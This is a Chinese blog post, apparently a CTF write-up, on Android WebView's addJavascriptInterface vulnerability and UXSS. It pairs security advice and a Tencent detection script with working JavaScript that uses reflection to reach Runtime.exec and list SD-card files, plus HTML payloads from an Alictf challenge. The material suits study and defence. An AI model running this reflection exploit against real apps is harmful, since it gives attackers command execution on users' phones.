zoukankan      html  css  js  c++  java
  • 对Webview跨源攻击的理解

    首先是addJavaScriptInterface漏洞:

      有时候访问手机百度贴吧网页版本,网页上会有个按钮提示用手机应用打开。这种交互通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:

    mWebView.getSettings().setJavaScriptEnabled(true);  
    mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

      向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互

      This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields.

      在Jelly Bean之后,addJavaScriptInterface这个方法已经被取消了,但如果想要兼容这之前的设备,还必须使用。

      通过这个漏洞,JavaScript可以访问SD卡上的文件。

      JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令。

    function execute(cmdArgs)
    {
        for (var obj in window) {
            if ("getClass" in window[obj]) {
                alert(obj);
                return  window[obj].getClass().forName("java.lang.Runtime")
                     .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
            }
        }
    } 

    这样就可以执行一些command比如:

    var p = execute(["ls","/mnt/sdcard/"]);  

    Alictf第三题便是要输入一个网址,点击那个网址可以调用那个addJavaScriptInterface的第二个对象(上面对应的jsInterface),如果你知道了那个对象的名字和方法,就可以这样构造一个html:

    <html>
    <body>
    
    <script type="text/javascript">
    function crack()
    {
      SmokeyBear.showToast()
    }
      crack()
    </script>
    
    </body>  
    </html> 

    把这个html命名为aa.html,放到sdcard上,输入file:///sdcard/aa.html,就会触发应用程序的showToast()方法;也可以放到服务器上访问。

    或者不知道SmokeyBear这个对象,可以这样:

    <html> 
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
    <script>
    function findobj(){
    for (var obj in window) { 
    if ("getClass" in window[obj]) { 
    return window[obj] 
    } 
    } 
    }
    </script> 
    </head>
    <body>
    hellowrold!
    <script type="text/javascript">
    var obj = findobj()
    obj.showToast()
    </script>
    </body> 
    </html>

    setJavaScriptEnabled

    通过此API可以设置是否允许WebView使用JavaScript,默认是不允许,但很多应用,包括移动浏览器为了让WebView执行http协议中的javascript,都会主动设置允许WebView执行Javascript,而又不会对不同的协议区别对待,比较安全的实现是如果加载的url是http或https协议,则启用javascript,如果是其它危险协议,如是file协议,则禁用javascript。禁用file协议的javascript可以很大程度上减小跨源漏洞对WebView的威胁。

    安全建议:

    1.对于不需要使用file协议的应用,禁用file协议

    2.对于需要使用file协议的应用,禁止file协议调用javascript

    腾讯实验室(http://security.tencent.com/index.php/opensource/detail/1)的解释:

    漏洞原理:
    在安卓WebView 组件中存在 addJavascriptInterface 方法,主要用于将Java类或方法导出以供JavaScript调用。但是,JavaScript在调用导出的Java类时,可通过反射执行任意JAVA代码。典型的攻击场景:通过受影响的app发送恶意构造页面的URL,用户点击打开URL后,会执行恶意代码。比如某安卓应用使用addJavascriptInterface 方法提供以下接口:

    this.b.addJavascriptInterface(new fz(this, null), "js_class_name");

    那么可构造恶意html页面,然后通过JavaScript调用该接口来执行系统命令:

    js_class_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

    修复方案:

    1、如果无需与JS交互,请删除对addJavascriptInterface函数的调用;

    2、在载入页面时对URL进行白名单判定,只有存在白名单中的域才允许导出或调用相关的Java类或方法;

     

    它们给出的验证方案是用应用访问(http://security.tencent.com/lucky/check_tools.html)这个页面,它会给你提示是否有漏洞。

    那个页面的中的算法是这样的:

    <script type="text/javascript">
    
    function check()
    {
    
        var res = 0;
    
        for (var obj in window) 
        {
            try {
                if ("getClass" in window[obj]) {
                    try{
                        window[obj].getClass();
                        document.getElementById("res_show").innerHTML = "<b><font color='red'>当心!您当前使用的APP可能存在Andriod WebView 挂马漏洞!请不要用这个APP打开不可信的外部链接!</font></b>";
                        res = 1;
                        break;
                    }catch(e){
                    }    
                }
            } catch(e) {
            }
        }
    
        if(res==0)
        {
            document.getElementById("res_show").innerHTML = "<b><font color='green' size=6>恭喜!您当前的APP不存在Andriod WebView 挂马漏洞!请放心使用!</font></b>";
        }
    }
    </script>

    也就是遍历window,查找「getClass」,看有没有反射调用的地方,有就提示。

    wooyun给出的方法也类似。下图是用alictf的jscrack访问http://drops.wooyun.org/webview.html得到的结果:

     

    那是因为jscrack中为SmokeyBear这个街口定义了类似这样的shwoToast()方法:

    -------------------------------------------------------------

    除了addJavascriptInterface执行漏洞,还有UXXS漏洞

    通用型跨站脚本(UXSS,Universal Cross-Site Scfipting),主要是利用浏览器及插件的漏洞(比如同源策略绕过,导致A站的脚本可以访问B站的各种私有属性,例如cookie等)来构造跨站条件,以执行恶意代码。

    参考:

    http://blog.csdn.net/leehong2005/article/details/11808557

    http://blogs.360.cn/360mobile/2014/09/22/webview%e8%b7%a8%e6%ba%90%e6%94%bb%e5%87%bb%e5%88%86%e6%9e%90/

    http://bbs.pediy.com/showthread.php?t=192928&highlight=webview

  • 相关阅读:
    flutter sdk版本升级或者降级到指定版本
    flutter upgrage到1.17版本 android打包报错 Could not determine the dependencies of task ':app:lintVitalRelease'.
    小程序 自定义alert弹窗 带动画
    小程序 自定义cell 自定义group
    小程序 自定义弹窗禁止底部内容滚动 textarea内容上移
    css fixed 强制居中
    小程序 正则表达式
    小程序 自定义导航栏
    小程序 swiper自定义dot
    java 中锁的分类
  • 原文地址:https://www.cnblogs.com/larrylawrence/p/4153221.html
Copyright © 2011-2022 走看看